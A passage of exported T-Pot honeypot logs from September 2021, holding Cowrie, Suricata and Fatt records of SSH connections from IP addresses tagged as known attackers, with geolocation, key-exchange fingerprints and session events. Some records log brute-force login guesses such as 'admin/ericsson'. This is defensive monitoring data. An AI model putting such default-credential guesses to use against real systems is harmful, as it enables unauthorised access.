"AAADzAYUdUsHKFzpFKrJ6yB2+R08pwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45268, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:31:13.251318Z", "@timestamp": "2021-09-20T11:31:13.251Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......uK.(\\\\..... v..<....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29916	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:12.963277+03	2021-09-20 14:45:02.337144+03	{"_id": "Pwb5AnwBvYTbRNuEcDlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45268, "timestamp": "2021-09-20T11:31:12.963277", "@timestamp": "2021-09-20T11:31:12.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29917	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:31:16.639618+03	2021-09-20 14:45:02.338144+03	{"_id": "Rgb5AnwBvYTbRNuEezn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47048, "dest_port": 22, "timestamp": "2021-09-20T11:31:16.639618", "@timestamp": "2021-09-20T11:31:16.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29918	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:31:16.603091+03	2021-09-20 14:45:02.339142+03	{"_id": "TQb5AnwBvYTbRNuEfTkb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c265aebea7a3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:16.603091Z", "@timestamp": "2021-09-20T11:31:16.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29919	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:31:16.600299+03	2021-09-20 14:45:02.341142+03	{"_id": "Tgb5AnwBvYTbRNuEfTkb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:47048 (192.168.176.2:22) [session: c265aebea7a3]", "session": "c265aebea7a3", "@version": "1", "protocol": "ssh", "src_port": 47048, "dest_port": 22, "timestamp": "2021-09-20T11:31:16.600299Z", "@timestamp": "2021-09-20T11:31:16.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29920	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:31:16.640208+03	2021-09-20 14:45:02.342142+03	{"_id": "Twb5AnwBvYTbRNuEfTkb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c265aebea7a3", "@version": "1", "timestamp": "2021-09-20T11:31:16.640208Z", "@timestamp": "2021-09-20T11:31:16.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29921	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:31:16.901155+03	2021-09-20 14:45:02.343141+03	{"_id": "UAb5AnwBvYTbRNuEfTkb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [work/password] failed", "session": "c265aebea7a3", "@version": "1", "password": "password", "username": "work", "timestamp": "2021-09-20T11:31:16.901155Z", "@timestamp": "2021-09-20T11:31:16.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29922	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:31:12.959105+03	2021-09-20 14:45:02.345142+03	{"_id": "OQb5AnwBvYTbRNuEbTl5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:45268 (192.168.176.2:22) [session: 6e2e3ccb6ff0]", "session": "6e2e3ccb6ff0", "@version": "1", "protocol": "ssh", "src_port": 45268, "dest_port": 22, "timestamp": "2021-09-20T11:31:12.959105Z", "@timestamp": "2021-09-20T11:31:12.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29923	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:31:12.962135+03	2021-09-20 14:45:02.346141+03	{"_id": "Ogb5AnwBvYTbRNuEbTl5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6e2e3ccb6ff0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:12.962135Z", "@timestamp": "2021-09-20T11:31:12.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29924	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:31:13.251931+03	2021-09-20 14:45:02.347143+03	{"_id": "Owb5AnwBvYTbRNuEbTl5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6e2e3ccb6ff0", "@version": "1", "timestamp": "2021-09-20T11:31:13.251931Z", "@timestamp": "2021-09-20T11:31:13.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29925	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:31:13.251151+03	2021-09-20 14:45:02.348143+03	{"_id": "PAb5AnwBvYTbRNuEbzkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 812321945432447, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45268, "dest_port": 22, "timestamp": "2021-09-20T11:31:13.251151Z", "@timestamp": "2021-09-20T11:31:13.251Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29926	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:31:13.251318+03	2021-09-20 14:45:02.350145+03	{"_id": "Pgb5AnwBvYTbRNuEcDlG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45268, "dest_port": 22, "timestamp": "2021-09-20T11:31:13.251318", "@timestamp": "2021-09-20T11:31:13.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29927	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:31:13.522139+03	2021-09-20 14:45:02.351143+03	{"_id": "QAb5AnwBvYTbRNuEcTlh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d6ada29ca110", "@version": "1", "duration": 3.3737096786499023, "timestamp": "2021-09-20T11:31:13.522139Z", "@timestamp": "2021-09-20T11:31:13.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29928	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:31:14.520068+03	2021-09-20 14:45:02.352141+03	{"_id": "Qgb5AnwBvYTbRNuEdTlJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [admin/ericsson] failed", "session": "6e2e3ccb6ff0", "@version": "1", "password": "ericsson", "username": "admin", "timestamp": "2021-09-20T11:31:14.520068Z", "@timestamp": "2021-09-20T11:31:14.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29929	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:31:15.815387+03	2021-09-20 14:45:02.353142+03	{"_id": "Qwb5AnwBvYTbRNuEeTky", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6e2e3ccb6ff0", "@version": "1", 